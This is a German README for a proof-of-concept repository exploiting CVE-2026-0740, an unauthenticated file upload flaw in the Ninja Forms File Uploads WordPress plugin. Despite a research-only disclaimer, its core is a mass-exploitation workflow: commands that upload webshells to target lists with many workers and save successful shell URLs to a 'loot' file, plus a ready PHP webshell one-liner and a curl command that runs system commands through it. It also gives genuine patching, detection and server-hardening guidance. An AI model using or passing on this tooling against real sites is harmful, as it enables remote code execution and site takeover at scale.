
PoC für CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Unauthentifizierter beliebiger Datei-Upload, der zu RCE führen kann.
Autor: 0xNuts
Mitwirkender: Cursor
Repository: https://github.com/ExDev994/CVE-2026-0740-mass
PoC für CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Unauthenticated Arbitrary File Upload, der zu RCE führen kann.
Die ursprüngliche Schwachstelle wurde von Sélim Lanouar (@whattheslime) entdeckt. Die PoC-Mass-Target-Engine wurde von 0xNuts unter Mitwirkung von Cursor entwickelt.
Dieses Repository dient ausschließlich der Sicherheitsforschung und defensiven Zwecken (autorisierte Pentests, Red Team mit schriftlicher Genehmigung, Patch-Validierung und Härtung).
Das Plugin Ninja Forms - File Uploads für WordPress ist in allen Versionen bis einschließlich 3.3.26 anfällig für nicht authentifizierte beliebige Datei-Uploads (unauthenticated arbitrary file upload).
Angriffskette:
nf_fu_get_new_nonce mit einer beliebigen field_id.nf_fu_upload validiert die Dateierweiterung des Uploads (z. B. image.jpg), der Angreifer kann jedoch den Ziel-Dateinamen über einen POST-Parameter (image_jpg) überschreiben.move_uploaded_file() übergeben → beliebige Erweiterung + Path Traversal (../).Vollständiger Patch verfügbar ab Version 3.3.27+.
Dieses Repository enthält nur CVE-2026-0740.py und README.md. Abhängigkeiten manuell installieren:
python3 -m venv .venv
source .venv/bin/activate # Linux/macOS/WSL
# .venv\Scripts\activate # Windows
pip install httpx==0.28.1 socksio==1.0.0
python3 CVE-2026-0740.py -h
Hinweis: Es muss genau eine der Optionen -t oder -f verwendet werden.
python3 CVE-2026-0740.py -t http://target.com --shell shell.php
Mit explizitem Path Traversal:
python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php
Datei target.txt erstellen:
http://site1.com
https://site2.com
10.0.0.5
# baris komentar diabaikan
Ausführen:
python3 CVE-2026-0740.py -f target.txt --shell shell.php
Mit Worker-Tuning und Loot-Ausgabe:
python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt
Die URLs erfolgreich hochgeladener Shells werden in die Loot-Datei geschrieben (Anhänge-Modus).
echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php
Nach erfolgreichem Upload zeigt das Skript die Shell-URL an. Verifizieren (nur auf Lab-/autorisierten Zielen):
curl "http://target.com/wp-content/shell.php?cmd=id"
httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
Aktualisieren Sie Ninja Forms - File Uploads umgehend auf 3.3.27 oder neuer.
Ninja Forms - File Uploads prüfenNach dem Update:
wp-admin/admin-ajax.php mit den Actions nf_fu_get_new_nonce / nf_fu_upload testen — beliebige Uploads müssen abgelehnt werdenWordPress-Upload-Verzeichnisse prüfen:
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/
Nach fremden Dateien suchen: .php, .pht, .phtml, .phar, .html, .svg, .js, die nicht vorhanden sein sollten.
Zusätzlich Webserver-Logs auf Anfragen an:
/wp-admin/admin-ajax.php
mit den Parametern action=nf_fu_get_new_nonce oder action=nf_fu_upload prüfen.
WAF / Rate Limiting auf /wp-admin/admin-ajax.php, um Mass-Upload-Missbrauch zu blockieren
PHP-Ausführung im Verzeichnis wp-content/uploads/ über die Webserver-Konfiguration deaktivieren:
Apache (.htaccess in uploads/):
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
Nginx:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
Least Privilege: Sicherstellen, dass die Upload-Dateiberechtigungen für den Webserver außerhalb der erforderlichen Verzeichnisse nicht beschreibbar sind
Monitoring: Alerts bei POST-Anfragen an admin-ajax.php mit nf_fu_*-Actions von fremden IPs oder bei hohem Volumen
Backup & Incident Response: Falls IoCs gefunden werden, Site isolieren, DB-/Admin-Zugangsdaten rotieren, andere Plugins/Themes auditieren
Deaktivieren und entfernen Sie das Plugin Ninja Forms - File Uploads, wenn die Upload-Funktion nicht benötigt wird.
| Vektor / Erweiterung | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
Path traversal (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
| Flag | Funktion |
|---|
-t, --target | Einzelziel (einzelne URL) |
-f, --targets-file | .txt-Datei mit Zielliste (eine URL pro Zeile) |
--shell | Hochzuladende Payload/Webshell (erforderlich) |
-d, --dest | Ziel-Path-Traversal (Standard: ../../../) |
-w, --workers | Anzahl gleichzeitiger Threads (Standard: 20) |
-o, --output | Loot-Datei für erfolgreiche Shell-URLs (Standard: results.txt) |
-x, --proxy | HTTP-Proxy (z. B. http://127.0.0.1:8080) |
-H, --headers | Benutzerdefinierte Header (Format: 'Header: Value') |
--timeout | HTTP-Timeout in Sekunden (Standard: 10) |